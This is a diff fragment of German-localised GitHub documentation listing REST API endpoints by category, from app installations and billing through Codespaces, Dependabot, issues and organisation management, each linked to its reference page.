+- [`POST /app/hook/deliveries/{delivery_id}/attempts`](/rest/reference/apps#redeliver-a-delivery-for-an-app-webhook)
+- [`GET /app/installations`](/rest/reference/apps#list-installations-for-the-authenticated-app)
+- [`GET /app/installations/{installation_id}`](/rest/reference/apps#get-an-installation-for-the-authenticated-app)
+- [`DELETE /app/installations/{installation_id}`](/rest/reference/apps#delete-an-installation-for-the-authenticated-app)
+- [`POST /app/installations/{installation_id}/access_tokens`](/rest/reference/apps/#create-an-installation-access-token-for-an-app)
+- [`PUT /app/installations/{installation_id}/suspended`](/rest/reference/apps#suspend-an-app-installation)
+- [`DELETE /app/installations/{installation_id}/suspended`](/rest/reference/apps#unsuspend-an-app-installation)
+- [`GET /orgs/{org}/installation`](/rest/reference/apps#get-an-organization-installation-for-the-authenticated-app)
+- [`GET /repos/{owner}/{repo}/installation`](/rest/reference/apps#get-a-repository-installation-for-the-authenticated-app)
+- [`GET /users/{username}/installation`](/rest/reference/apps#get-a-user-installation-for-the-authenticated-app)
+- [`GET /marketplace_listing/accounts/{account_id}`](/rest/reference/apps#get-a-subscription-plan-for-an-account)
+- [`GET /marketplace_listing/plans`](/rest/reference/apps#list-plans)
+- [`GET /marketplace_listing/plans/{plan_id}/accounts`](/rest/reference/apps#list-accounts-for-a-plan)
+- [`GET /marketplace_listing/stubbed/accounts/{account_id}`](/rest/reference/apps#get-a-subscription-plan-for-an-account-stubbed)
+- [`GET /marketplace_listing/stubbed/plans`](/rest/reference/apps#list-plans-stubbed)
+- [`GET /marketplace_listing/stubbed/plans/{plan_id}/accounts`](/rest/reference/apps#list-accounts-for-a-plan-stubbed)
+- [`GET /user/installations`](/rest/reference/apps#list-app-installations-accessible-to-the-user-access-token)
+- [`GET /user/marketplace_purchases`](/rest/reference/apps#list-subscriptions-for-the-authenticated-user)
+- [`GET /user/marketplace_purchases/stubbed`](/rest/reference/apps#list-subscriptions-for-the-authenticated-user-stubbed)
+
+## Abrechnung
+
+- [`GET /orgs/{org}/settings/billing/actions`](/rest/reference/billing#get-github-actions-billing-for-an-organization)
+- [`GET /orgs/{org}/settings/billing/advanced-security`](/rest/reference/billing#get-github-advanced-security-active-committers-for-an-organization)
+- [`GET /orgs/{org}/settings/billing/packages`](/rest/reference/billing#get-github-packages-billing-for-an-organization)
+- [`GET /orgs/{org}/settings/billing/shared-storage`](/rest/reference/billing#get-shared-storage-billing-for-an-organization)
+- [`GET /users/{username}/settings/billing/actions`](/rest/reference/billing#get-github-actions-billing-for-a-user)
+- [`GET /users/{username}/settings/billing/packages`](/rest/reference/billing#get-github-packages-billing-for-a-user)
+- [`GET /users/{username}/settings/billing/shared-storage`](/rest/reference/billing#get-shared-storage-billing-for-a-user)
+
+## checks (Überprüfungen)
+
+- [`POST /repos/{owner}/{repo}/check-runs`](/rest/reference/checks#create-a-check-run)
+- [`GET /repos/{owner}/{repo}/check-runs/{check_run_id}`](/rest/reference/checks#get-a-check-run)
+- [`PATCH /repos/{owner}/{repo}/check-runs/{check_run_id}`](/rest/reference/checks#update-a-check-run)
+- [`GET /repos/{owner}/{repo}/check-runs/{check_run_id}/annotations`](/rest/reference/checks#list-check-run-annotations)
+- [`POST /repos/{owner}/{repo}/check-runs/{check_run_id}/rerequest`](/rest/reference/checks#rerequest-a-check-run)
+- [`GET /repos/{owner}/{repo}/check-suites/{check_suite_id}/check-runs`](/rest/reference/checks#list-check-runs-in-a-check-suite)
+- [`POST /repos/{owner}/{repo}/check-suites`](/rest/reference/checks#create-a-check-suite)
+- [`GET /repos/{owner}/{repo}/check-suites/{check_suite_id}`](/rest/reference/checks#get-a-check-suite)
+- [`POST /repos/{owner}/{repo}/check-suites/{check_suite_id}/rerequest`](/rest/reference/checks#rerequest-a-check-suite)
+- [`PATCH /repos/{owner}/{repo}/check-suites/preferences`](/rest/reference/checks#update-repository-preferences-for-check-suites)
+
+## Codeüberprüfung
+
+- [`GET /enterprises/{enterprise}/code-scanning/alerts`](/rest/reference/code-scanning#list-code-scanning-alerts-for-an-enterprise)
+- [`GET /orgs/{org}/code-scanning/alerts`](/rest/reference/code-scanning#list-code-scanning-alerts-by-organization)
+- [`GET /repos/{owner}/{repo}/code-scanning/alerts`](/rest/reference/code-scanning#list-code-scanning-alerts-for-a-repository)
+- [`GET /repos/{owner}/{repo}/code-scanning/alerts/{alert_number}`](/rest/reference/code-scanning#get-a-code-scanning-alert)
+- [`PATCH /repos/{owner}/{repo}/code-scanning/alerts/{alert_number}`](/rest/reference/code-scanning#update-a-code-scanning-alert)
+- [`GET /repos/{owner}/{repo}/code-scanning/alerts/{alert_number}/instances`](/rest/reference/code-scanning#list-instances-of-a-code-scanning-alert)
+- [`GET /repos/{owner}/{repo}/code-scanning/analyses`](/rest/reference/code-scanning#list-code-scanning-analyses-for-a-repository)
+- [`GET /repos/{owner}/{repo}/code-scanning/analyses/{analysis_id}`](/rest/reference/code-scanning#get-a-code-scanning-analysis-for-a-repository)
+- [`DELETE /repos/{owner}/{repo}/code-scanning/analyses/{analysis_id}`](/rest/reference/code-scanning#delete-a-code-scanning-analysis-from-a-repository)
+- [`GET /repos/{owner}/{repo}/code-scanning/sarifs/{sarif_id}`](/rest/reference/code-scanning#list-recent-code-scanning-analyses-for-a-repository)
+- [`GET /repos/{owner}/{repo}/code-scanning/codeql/databases`](/rest/reference/code-scanning#list-codeql-databases)
+- [`GET /repos/{owner}/{repo}/code-scanning/codeql/databases/{language}`](/rest/reference/code-scanning#get-codeql-database)
+- [`POST /repos/{owner}/{repo}/code-scanning/sarifs`](/rest/reference/code-scanning#upload-a-sarif-file)
+
+## Verhaltensregeln
+
+- [`GET /codes_of_conduct`](/rest/reference/codes-of-conduct#get-all-codes-of-conduct)
+- [`GET /codes_of_conduct/{key}`](/rest/reference/codes-of-conduct#get-a-code-of-conduct)
+
+## Codespaces
+
+- [`GET /orgs/{org}/codespaces`](/rest/reference/codespaces#list-in-organization)
+- [`PUT /orgs/{org}/codespaces/billing`](/rest/reference/codespaces#set-codespaces-billing)
+- [`GET /repos/{owner}/{repo}/codespaces`](/rest/reference/codespaces#list-codespaces-in-a-repository-for-the-authenticated-user)
+- [`POST /repos/{owner}/{repo}/codespaces`](/rest/reference/codespaces#create-a-codespace-in-a-repository)
+- [`GET /repos/{owner}/{repo}/codespaces/devcontainers`](/rest/reference/codespaces#list-devcontainers-in-a-repository-for-the-authenticated-user)
+- [`GET /repos/{owner}/{repo}/codespaces/machines`](/rest/reference/codespaces#list-available-machine-types-for-a-repository)
+- [`GET /repos/{owner}/{repo}/codespaces/new`](/rest/reference/codespaces#preview-attributes-for-a-new-codespace)
+- [`POST /repos/{owner}/{repo}/pulls/{pull_number}/codespaces`](/rest/reference/codespaces#create-a-codespace-from-a-pull-request)
+- [`GET /user/codespaces`](/rest/reference/codespaces#list-codespaces-for-the-authenticated-user)
+- [`POST /user/codespaces`](/rest/reference/codespaces#create-a-codespace-for-the-authenticated-user)
+- [`GET /user/codespaces/{codespace_name}`](/rest/reference/codespaces#get-a-codespace-for-the-authenticated-user)
+- [`PATCH /user/codespaces/{codespace_name}`](/rest/reference/codespaces#update-a-codespace-for-the-authenticated-user)
+- [`DELETE /user/codespaces/{codespace_name}`](/rest/reference/codespaces#delete-a-codespace-for-the-authenticated-user)
+- [`POST /user/codespaces/{codespace_name}/exports`](/rest/codespaces/codespaces#export-a-codespace-for-the-authenticated-user)
+- [`GET /user/codespaces/{codespace_name}/exports/{export_id}`](/rest/codespaces/codespaces#get-details-about-a-codespace-export)
+- [`GET /user/codespaces/{codespace_name}/machines`](/rest/reference/codespaces#list-machine-types-for-a-codespace)
+- [`POST /user/codespaces/{codespace_name}/start`](/rest/reference/codespaces#start-a-codespace-for-the-authenticated-user)
+- [`POST /user/codespaces/{codespace_name}/stop`](/rest/reference/codespaces#stop-a-codespace-for-the-authenticated-user)
+- [`GET /orgs/{org}/codespaces/secrets`](/rest/reference/codespaces#list-organization-secrets)
+- [`GET /orgs/{org}/codespaces/secrets/{secret_name}`](/rest/reference/codespaces#get-an-organization-secret)
+- [`PUT /orgs/{org}/codespaces/secrets/{secret_name}`](/rest/reference/codespaces#create-or-update-an-organization-secret)
+- [`DELETE /orgs/{org}/codespaces/secrets/{secret_name}`](/rest/reference/codespaces#delete-an-organization-secret)
+- [`GET /orgs/{org}/codespaces/secrets/{secret_name}/repositories`](/rest/reference/codespaces#list-selected-repositories-for-an-organization-secret)
+- [`PUT /orgs/{org}/codespaces/secrets/{secret_name}/repositories`](/rest/reference/codespaces#set-selected-repositories-for-an-organization-secret)
+- [`GET /orgs/{org}/codespaces/secrets/public-key`](/rest/reference/codespaces#get-an-organization-public-key)
+- [`GET /repos/{owner}/{repo}/codespaces/secrets`](/rest/reference/codespaces#list-repository-secrets)
+- [`GET /repos/{owner}/{repo}/codespaces/secrets/{secret_name}`](/rest/reference/codespaces#get-a-repository-secret)
+- [`PUT /repos/{owner}/{repo}/codespaces/secrets/{secret_name}`](/rest/reference/codespaces#create-or-update-a-repository-secret)
+- [`DELETE /repos/{owner}/{repo}/codespaces/secrets/{secret_name}`](/rest/reference/codespaces#delete-a-repository-secret)
+- [`GET /repos/{owner}/{repo}/codespaces/secrets/public-key`](/rest/reference/codespaces#get-a-repository-public-key)
+- [`GET /user/codespaces/secrets`](/rest/reference/codespaces#list-secrets-for-the-authenticated-user)
+- [`GET /user/codespaces/secrets/{secret_name}`](/rest/reference/codespaces#get-a-secret-for-the-authenticated-user)
+- [`PUT /user/codespaces/secrets/{secret_name}`](/rest/reference/codespaces#create-or-update-a-secret-for-the-authenticated-user)
+- [`DELETE /user/codespaces/secrets/{secret_name}`](/rest/reference/codespaces#delete-a-secret-for-the-authenticated-user)
+- [`GET /user/codespaces/secrets/public-key`](/rest/reference/codespaces#get-public-key-for-the-authenticated-user)
+- [`GET /user/codespaces/secrets/{secret_name}/repositories`](/rest/reference/codespaces#list-selected-repositories-for-a-user-secret)
+- [`PUT /user/codespaces/secrets/{secret_name}/repositories`](/rest/reference/codespaces#set-selected-repositories-for-a-user-secret)
+- [`PUT /user/codespaces/secrets/{secret_name}/repositories/{repository_id}`](/rest/reference/codespaces#add-a-selected-repository-to-a-user-secret)
+- [`DELETE /user/codespaces/secrets/{secret_name}/repositories/{repository_id}`](/rest/reference/codespaces#remove-a-selected-repository-from-a-user-secret)
+
+## Projektmitarbeiter
+
+- [`GET /repos/{owner}/{repo}/collaborators`](/rest/collaborators/collaborators#list-repository-collaborators)
+- [`GET /repos/{owner}/{repo}/collaborators/{username}`](/rest/collaborators/collaborators#check-if-a-user-is-a-repository-collaborator)
+- [`PUT /repos/{owner}/{repo}/collaborators/{username}`](/rest/collaborators/collaborators#add-a-repository-collaborator)
+- [`DELETE /repos/{owner}/{repo}/collaborators/{username}`](/rest/collaborators/collaborators#remove-a-repository-collaborator)
+- [`GET /repos/{owner}/{repo}/collaborators/{username}/permission`](/rest/collaborators/collaborators#get-repository-permissions-for-a-user)
+- [`GET /repos/{owner}/{repo}/invitations`](/rest/collaborators/invitations#list-repository-invitations)
+- [`PATCH /repos/{owner}/{repo}/invitations/{invitation_id}`](/rest/collaborators/invitations#update-a-repository-invitation)
+- [`DELETE /repos/{owner}/{repo}/invitations/{invitation_id}`](/rest/collaborators/invitations#delete-a-repository-invitation)
+- [`GET /user/repository_invitations`](/rest/collaborators/invitations#list-repository-invitations-for-the-authenticated-user)
+- [`PATCH /user/repository_invitations/{invitation_id}`](/rest/collaborators/invitations#accept-a-repository-invitation)
+- [`DELETE /user/repository_invitations/{invitation_id}`](/rest/collaborators/invitations#decline-a-repository-invitation)
+
+## einen Commit ausführt
+
+- [`GET /repos/{owner}/{repo}/comments`](/rest/commits/comments#list-commit-comments-for-a-repository)
+- [`GET /repos/{owner}/{repo}/comments/{comment_id}`](/rest/commits/comments#get-a-commit-comment)
+- [`PATCH /repos/{owner}/{repo}/comments/{comment_id}`](/rest/commits/comments#update-a-commit-comment)
+- [`DELETE /repos/{owner}/{repo}/comments/{comment_id}`](/rest/commits/comments#delete-a-commit-comment)
+- [`GET /repos/{owner}/{repo}/commits`](/rest/commits/commits#list-commits)
+- [`POST /repos/{owner}/{repo}/statuses/{sha}`](/rest/commits/statuses#create-a-commit-status)
+
+## Dependabot
+
+- [`GET /repos/{owner}/{repo}/dependabot/secrets`](/rest/reference/dependabot#list-repository-secrets)
+- [`GET /repos/{owner}/{repo}/dependabot/secrets/{secret_name}`](/rest/reference/dependabot#get-a-repository-secret)
+- [`PUT /repos/{owner}/{repo}/dependabot/secrets/{secret_name}`](/rest/reference/dependabot#create-or-update-a-repository-secret)
+- [`DELETE /repos/{owner}/{repo}/dependabot/secrets/{secret_name}`](/rest/reference/dependabot#delete-a-repository-secret)
+- [`GET /repos/{owner}/{repo}/dependabot/secrets/public-key`](/rest/reference/dependabot#get-a-repository-public-key)
+- [`GET /orgs/{org}/dependabot/secrets`](/rest/reference/dependabot#list-organization-secrets)
+- [`GET /orgs/{org}/dependabot/secrets/{secret_name}`](/rest/reference/dependabot#get-an-organization-secret)
+- [`PUT /orgs/{org}/dependabot/secrets/{secret_name}`](/rest/reference/dependabot#create-or-update-an-organization-secret)
+- [`DELETE /orgs/{org}/dependabot/secrets/{secret_name}`](/rest/reference/dependabot#delete-an-organization-secret)
+- [`GET /orgs/{org}/dependabot/secrets/{secret_name}/repositories`](/rest/reference/dependabot#list-selected-repositories-for-an-organization-secret)
+- [`PUT /orgs/{org}/dependabot/secrets/{secret_name}/repositories`](/rest/reference/dependabot#set-selected-repositories-for-an-organization-secret)
+- [`GET /orgs/{org}/dependabot/secrets/public-key`](/rest/reference/dependabot#get-an-organization-public-key)
+- [`GET /repos/{owner}/{repo}/dependabot/alerts`](/rest/reference/dependabot#list-dependabot-alerts-for-a-repository)
+- [`GET /repos/{owner}/{repo}/dependabot/alerts/{alert_number}`](/rest/reference/dependabot#get-a-dependabot-alert)
+- [`PATCH /repos/{owner}/{repo}/dependabot/alerts/{alert_number}`](/rest/reference/dependabot#update-a-dependabot-alert)
+
+## Abhängigkeitsdiagramm
+
+- [`POST /repos/{owner}/{repo}/dependency-graph/snapshots`](/rest/reference/dependency-graph#create-a-snapshot-of-dependencies-for-a-repository)
+- [`GET /repos/{owner}/{repo}/dependency-graph/compare/{basehead}`](/rest/reference/dependency-graph#get-a-diff-of-the-dependencies-between-commits)
+
+## deployments
+
+- [`GET /repos/{owner}/{repo}/environments`](/rest/deployments/environments#list-environments)
+
+## Emojis
+
+- [`GET /emojis`](/rest/reference/emojis#get-emojis)
+
+## Unternehmensadministrator
+{% ifversion ghec %}
+- [`GET /enterprises/{enterprise}/audit-log`](/rest/reference/enterprise-admin#get-the-audit-log-for-an-enterprise){% endif %}
+- [`GET /enterprises/{enterprise}/settings/billing/advanced-security`](/rest/reference/billing#export-advanced-security-active-committers-data-for-enterprise)
+- [`GET /enterprise-installation/{enterprise_or_org}/server-statistics`](/rest/reference/enterprise-admin#get-github-enterprise-server-statistics)
+
+## Gists
+
+- [`GET /gists/{gist_id}/comments`](/rest/reference/gists#list-gist-comments)
+- [`POST /gists/{gist_id}/comments`](/rest/reference/gists#create-a-gist-comment)
+- [`GET /gists/{gist_id}/comments/{comment_id}`](/rest/reference/gists#get-a-gist-comment)
+- [`PATCH /gists/{gist_id}/comments/{comment_id}`](/rest/reference/gists#update-a-gist-comment)
+- [`DELETE /gists/{gist_id}/comments/{comment_id}`](/rest/reference/gists#delete-a-gist-comment)
+- [`GET /gists`](/rest/reference/gists#list-gists-for-the-authenticated-user)
+- [`POST /gists`](/rest/reference/gists#create-a-gist)
+- [`GET /gists/{gist_id}`](/rest/reference/gists#get-a-gist)
+- [`PATCH /gists/{gist_id}`](/rest/reference/gists/#update-a-gist)
+- [`DELETE /gists/{gist_id}`](/rest/reference/gists#delete-a-gist)
+- [`GET /gists/{gist_id}/commits`](/rest/reference/gists#list-gist-commits)
+- [`GET /gists/{gist_id}/forks`](/rest/reference/gists#list-gist-forks)
+- [`POST /gists/{gist_id}/forks`](/rest/reference/gists#fork-a-gist)
+- [`GET /gists/{gist_id}/star`](/rest/reference/gists#check-if-a-gist-is-starred)
+- [`PUT /gists/{gist_id}/star`](/rest/reference/gists#star-a-gist)
+- [`DELETE /gists/{gist_id}/star`](/rest/reference/gists#unstar-a-gist)
+- [`GET /gists/public`](/rest/reference/gists#list-public-gists)
+- [`GET /gists/starred`](/rest/reference/gists#list-starred-gists)
+- [`GET /users/{username}/gists`](/rest/reference/gists#list-gists-for-a-user)
+
+## Git
+
+- [`POST /repos/{owner}/{repo}/git/blobs`](/rest/reference/git#create-a-blob)
+- [`POST /repos/{owner}/{repo}/git/commits`](/rest/reference/git#create-a-commit)
+- [`POST /repos/{owner}/{repo}/git/refs`](/rest/reference/git#create-a-reference)
+- [`POST /repos/{owner}/{repo}/git/tags`](/rest/reference/git#create-a-tag-object)
+- [`POST /repos/{owner}/{repo}/git/trees`](/rest/reference/git#create-a-tree)
+
+## gitignore
+
+- [`GET /gitignore/templates`](/rest/reference/gitignore#get-all-gitignore-templates)
+
+## Interaktionen
+
+- [`GET /orgs/{org}/interaction-limits`](/rest/reference/interactions#get-interaction-restrictions-for-an-organization)
+- [`PUT /orgs/{org}/interaction-limits`](/rest/reference/interactions#set-interaction-restrictions-for-an-organization)
+- [`DELETE /orgs/{org}/interaction-limits`](/rest/reference/interactions#remove-interaction-restrictions-for-an-organization)
+- [`GET /repos/{owner}/{repo}/interaction-limits`](/rest/reference/interactions#get-interaction-restrictions-for-a-repository)
+- [`PUT /repos/{owner}/{repo}/interaction-limits`](/rest/reference/interactions#set-interaction-restrictions-for-a-repository)
+- [`DELETE /repos/{owner}/{repo}/interaction-limits`](/rest/reference/interactions#remove-interaction-restrictions-for-a-repository)
+- [`GET /user/interaction-limits`](/rest/reference/interactions#get-interaction-restrictions-for-your-public-repositories)
+- [`PUT /user/interaction-limits`](/rest/reference/interactions#set-interaction-restrictions-for-your-public-repositories)
+- [`DELETE /user/interaction-limits`](/rest/reference/interactions#remove-interaction-restrictions-from-your-public-repositories)
+
+## issues
+
+- [`POST /repos/{owner}/{repo}/issues/{issue_number}/assignees`](/rest/reference/issues#add-assignees-to-an-issue)
+- [`DELETE /repos/{owner}/{repo}/issues/{issue_number}/assignees`](/rest/reference/issues#remove-assignees-from-an-issue)
+- [`GET /repos/{owner}/{repo}/issues/{issue_number}/comments`](/rest/reference/issues#list-issue-comments)
+- [`POST /repos/{owner}/{repo}/issues/{issue_number}/comments`](/rest/reference/issues#create-an-issue-comment)
+- [`GET /repos/{owner}/{repo}/issues/comments`](/rest/reference/issues#list-issue-comments-for-a-repository)
+- [`GET /repos/{owner}/{repo}/issues/comments/{comment_id}`](/rest/reference/issues#get-an-issue-comment)
+- [`PATCH /repos/{owner}/{repo}/issues/comments/{comment_id}`](/rest/reference/issues#update-an-issue-comment)
+- [`DELETE /repos/{owner}/{repo}/issues/comments/{comment_id}`](/rest/reference/issues#delete-an-issue-comment)
+- [`GET /repos/{owner}/{repo}/issues/{issue_number}/events`](/rest/reference/issues#list-issue-events)
+- [`GET /repos/{owner}/{repo}/issues/events`](/rest/reference/issues#list-issue-events-for-a-repository)
+- [`GET /repos/{owner}/{repo}/issues/events/{event_id}`](/rest/reference/issues#get-an-issue-event)
+- [`GET /repos/{owner}/{repo}/issues/{issue_number}/timeline`](/rest/reference/issues#list-timeline-events-for-an-issue)
+- [`GET /issues`](/rest/reference/issues#list-issues-assigned-to-the-authenticated-user)
+- [`GET /orgs/{org}/issues`](/rest/reference/issues#list-organization-issues-assigned-to-the-authenticated-user)
+- [`GET /repos/{owner}/{repo}/assignees`](/rest/reference/issues#list-assignees)
+- [`GET /repos/{owner}/{repo}/issues`](/rest/reference/issues#list-repository-issues)
+- [`POST /repos/{owner}/{repo}/issues`](/rest/reference/issues#create-an-issue)
+- [`GET /repos/{owner}/{repo}/issues/{issue_number}`](/rest/reference/issues#get-an-issue)
+- [`PATCH /repos/{owner}/{repo}/issues/{issue_number}`](/rest/reference/issues/#update-an-issue)
+- [`PUT /repos/{owner}/{repo}/issues/{issue_number}/lock`](/rest/reference/issues#lock-an-issue)
+- [`DELETE /repos/{owner}/{repo}/issues/{issue_number}/lock`](/rest/reference/issues#unlock-an-issue)
+- [`GET /user/issues`](/rest/reference/issues#list-user-account-issues-assigned-to-the-authenticated-user)
+- [`GET /repos/{owner}/{repo}/issues/{issue_number}/labels`](/rest/reference/issues#list-labels-for-an-issue)
+- [`POST /repos/{owner}/{repo}/issues/{issue_number}/labels`](/rest/reference/issues#add-labels-to-an-issue)
+- [`PUT /repos/{owner}/{repo}/issues/{issue_number}/labels`](/rest/reference/issues#set-labels-for-an-issue)
+- [`DELETE /repos/{owner}/{repo}/issues/{issue_number}/labels`](/rest/reference/issues#remove-all-labels-from-an-issue)
+- [`GET /repos/{owner}/{repo}/labels`](/rest/reference/issues#list-labels-for-a-repository)
+- [`POST /repos/{owner}/{repo}/labels`](/rest/reference/issues#create-a-label)
+- [`GET /repos/{owner}/{repo}/milestones/{milestone_number}/labels`](/rest/reference/issues#list-labels-for-issues-in-a-milestone)
+- [`GET /repos/{owner}/{repo}/milestones`](/rest/reference/issues#list-milestones)
+- [`POST /repos/{owner}/{repo}/milestones`](/rest/reference/issues#create-a-milestone)
+- [`GET /repos/{owner}/{repo}/milestones/{milestone_number}`](/rest/reference/issues#get-a-milestone)
+- [`PATCH /repos/{owner}/{repo}/milestones/{milestone_number}`](/rest/reference/issues#update-a-milestone)
+- [`DELETE /repos/{owner}/{repo}/milestones/{milestone_number}`](/rest/reference/issues#delete-a-milestone)
+
+## Lizenzen
+
+- [`GET /licenses`](/rest/reference/licenses#get-all-commonly-used-licenses)
+- [`GET /repos/{owner}/{repo}/license`](/rest/reference/licenses/#get-the-license-for-a-repository)
+
+## markdown
+
+- [`POST /markdown`](/rest/reference/markdown#render-a-markdown-document)
+- [`POST /markdown/raw`](/rest/reference/markdown#render-a-markdown-document-in-raw-mode)
+
+## meta
+
+- [`GET /meta`](/rest/reference/meta#get-github-meta-information)
+- [`GET /octocat`](/rest/reference/meta#get-octocat)
+- [`GET /zen`](/rest/meta#get-the-zen-of-github)
+- [`GET /`](/rest/overview/resources-in-the-rest-api#root-endpoint)
+
+## metrics
+
+- [`GET /repos/{owner}/{repo}/community/profile`](/rest/metrics/community#get-community-profile-metrics)
+- [`GET /repos/{owner}/{repo}/stats/code_frequency`](/rest/metrics/statistics#get-the-weekly-commit-activity)
+- [`GET /repos/{owner}/{repo}/stats/commit_activity`](/rest/metrics/statistics#get-the-last-year-of-commit-activity)
+- [`GET /repos/{owner}/{repo}/stats/contributors`](/rest/metrics/statistics#get-all-contributor-commit-activity)
+- [`GET /repos/{owner}/{repo}/stats/participation`](/rest/metrics/statistics#get-the-weekly-commit-count)
+- [`GET /repos/{owner}/{repo}/stats/punch_card`](/rest/metrics/statistics#get-the-hourly-commit-count-for-each-day)
+- [`GET /repos/{owner}/{repo}/traffic/clones`](/rest/metrics/traffic#get-repository-clones)
+- [`GET /repos/{owner}/{repo}/traffic/popular/paths`](/rest/metrics/traffic#get-top-referral-paths)
+- [`GET /repos/{owner}/{repo}/traffic/popular/referrers`](/rest/metrics/traffic#get-top-referral-sources)
+- [`GET /repos/{owner}/{repo}/traffic/views`](/rest/metrics/traffic#get-page-views)
+
+## Migrationen
+
+- [`GET /orgs/{org}/migrations`](/rest/reference/migrations#list-organization-migrations)
+- [`POST /orgs/{org}/migrations`](/rest/reference/migrations#start-an-organization-migration)
+- [`GET /orgs/{org}/migrations/{migration_id}`](/rest/reference/migrations#get-an-organization-migration-status)
+- [`GET /orgs/{org}/migrations/{migration_id}/archive`](/rest/reference/migrations#download-an-organization-migration-archive)
+- [`DELETE /orgs/{org}/migrations/{migration_id}/archive`](/rest/reference/migrations#delete-an-organization-migration-archive)
+- [`GET /orgs/{org}/migrations/{migration_id}/repositories`](/rest/reference/migrations#list-repositories-in-an-organization-migration)
+- [`GET /user/migrations`](/rest/reference/migrations#list-user-migrations)
+- [`POST /user/migrations`](/rest/reference/migrations#start-a-user-migration)
+- [`GET /user/migrations/{migration_id}`](/rest/reference/migrations#get-a-user-migration-status)
+- [`GET /user/migrations/{migration_id}/archive`](/rest/reference/migrations#download-a-user-migration-archive)
+- [`DELETE /user/migrations/{migration_id}/archive`](/rest/reference/migrations#delete-a-user-migration-archive)
+- [`GET /user/migrations/{migration_id}/repositories`](/rest/reference/migrations#list-repositories-for-a-user-migration)
+- [`GET /repos/{owner}/{repo}/import`](/rest/reference/migrations#get-an-import-status)
+- [`PUT /repos/{owner}/{repo}/import`](/rest/reference/migrations#start-an-import)
+- [`PATCH /repos/{owner}/{repo}/import`](/rest/reference/migrations#update-an-import)
+- [`DELETE /repos/{owner}/{repo}/import`](/rest/reference/migrations#cancel-an-import)
+- [`GET /repos/{owner}/{repo}/import/authors`](/rest/reference/migrations#get-commit-authors)
+- [`PATCH /repos/{owner}/{repo}/import/authors/{author_id}`](/rest/reference/migrations#map-a-commit-author)
+- [`GET /repos/{owner}/{repo}/import/large_files`](/rest/reference/migrations#get-large-files)
+- [`PATCH /repos/{owner}/{repo}/import/lfs`](/rest/reference/migrations#update-git-lfs-preference)
+
+## Orgs
+
+{% ifversion ghec %}
+- [`GET /orgs/{org}/audit-log`](/rest/reference/orgs#get-audit-log){% endif %}
+- [`GET /organizations/{organization_id}/custom_roles`](/rest/reference/orgs#list-custom-repository-roles-in-an-organization)
+- [`PATCH /orgs/{org}/custom_roles/{role_id}`](/rest/reference/orgs#update-a-custom-role)
+- [`DELETE /orgs/{org}/custom_roles/{role_id}`](/rest/reference/orgs#delete-a-custom-role)
+- [`GET /orgs/{org}/fine_grained_permissions`](/rest/reference/orgs#list-fine-grained-permissions-for-an-organization)
+- [`GET /orgs/{org}/hooks`](/rest/reference/orgs#list-organization-webhooks)
+- [`POST /orgs/{org}/hooks`](/rest/reference/orgs#create-an-organization-webhook)
+- [`GET /orgs/{org}/hooks/{hook_id}`](/rest/reference/orgs#get-an-organization-webhook)
+- [`PATCH /orgs/{org}/hooks/{hook_id}`](/rest/reference/orgs#update-an-organization-webhook)
+- [`DELETE /orgs/{org}/hooks/{hook_id}`](/rest/reference/orgs#delete-an-organization-webhook)
+- [`GET /orgs/{org}/hooks/{hook_id}/config`](/rest/reference/orgs#get-a-webhook-configuration-for-an-organization)
+- [`PATCH /orgs/{org}/hooks/{hook_id}/config`](/rest/reference/orgs#update-a-webhook-configuration-for-an-organization)
+- [`GET /orgs/{org}/hooks/{hook_id}/deliveries`](/rest/reference/orgs#list-deliveries-for-an-organization-webhook)
+- [`GET /orgs/{org}/hooks/{hook_id}/deliveries/{delivery_id}`](/rest/reference/orgs#get-a-webhook-delivery-for-an-organization-webhook)
+- [`POST /orgs/{org}/hooks/{hook_id}/deliveries/{delivery_id}/attempts`](/rest/reference/orgs#redeliver-a-delivery-for-an-organization-webhook)
+- [`POST /orgs/{org}/hooks/{hook_id}/pings`](/rest/reference/orgs#ping-an-organization-webhook)
+- [`GET /orgs/{org}/failed_invitations`](/rest/reference/orgs#list-failed-organization-invitations)
+- [`GET /orgs/{org}/invitations`](/rest/reference/orgs#list-pending-organization-invitations)
+- [`POST /orgs/{org}/invitations`](/rest/reference/orgs#create-an-organization-invitation)
+- [`DELETE /orgs/{org}/invitations/{invitation_id}`](/rest/reference/orgs#cancel-an-organization-invitation)
+- [`GET /orgs/{org}/invitations/{invitation_id}/teams`](/rest/reference/orgs#list-organization-invitation-teams)
+- [`GET /orgs/{org}/members`](/rest/reference/orgs#list-organization-members)
+- [`GET /orgs/{org}/members/{username}`](/rest/reference/orgs#check-organization-membership-for-a-user)
+- [`DELETE /orgs/{org}/members/{username}`](/rest/reference/orgs#remove-an-organization-member)
+- [`GET /orgs/{org}/memberships/{username}`](/rest/reference/orgs#get-organization-membership-for-a-user)
+- [`PUT /orgs/{org}/memberships/{username}`](/rest/reference/orgs#set-organization-membership-for-a-user)
+- [`DELETE /orgs/{org}/memberships/{username}`](/rest/reference/orgs#remove-organization-membership-for-a-user)
+- [`GET /orgs/{org}/public_members`](/rest/reference/orgs#list-public-organization-members)
+- [`GET /orgs/{org}/public_members/{username}`](/rest/reference/orgs#check-public-organization-membership-for-a-user)
+- [`PUT /orgs/{org}/public_members/{username}`](/rest/reference/orgs#set-public-organization-membership-for-the-authenticated-user)
+- [`DELETE /orgs/{org}/public_members/{username}`](/rest/reference/orgs#remove-public-organization-membership-for-the-authenticated-user)
+- [`GET /orgs/{org}/outside_collaborators`](/rest/reference/orgs#list-outside-collaborators-for-an-organization)
+- [`PUT /orgs/{org}/outside_collaborators/{username}`](/rest/reference/orgs#convert-an-organization-member-to-outside-collaborator)
+- [`DELETE /orgs/{org}/outside_collaborators/{username}`](/rest/reference/orgs#remove-outside-collaborator-from-an-organization)
+- [`GET /orgs/{org}/security-managers`](/rest/reference/orgs#list-security-manager-teams)
+- [`PUT /orgs/{org}/security-managers/teams/{team_slug}`](/rest/reference/orgs#add-a-security-manager-team)
+- [`DELETE /orgs/{org}/security-managers/teams/{team_slug}`](/rest/reference/orgs#remove-a-security-manager-team)
+- [`GET /organizations`](/rest/reference/orgs#list-organizations)
+- [`GET /orgs/{org}`](/rest/reference/orgs#get-an-organization)
+- [`PATCH /orgs/{org}`](/rest/reference/orgs/#update-an-organization)
+- [`GET /orgs/{org}/installations`](/rest/reference/orgs#list-app-installations-for-an-organization)
+- [`GET /users/{username}/orgs`](/rest/reference/orgs#list-organizations-for-a-user)
+- [`GET /user/memberships/orgs/{org}`](/rest/reference/orgs#get-an-organization-membership-for-the-authenticated-user)
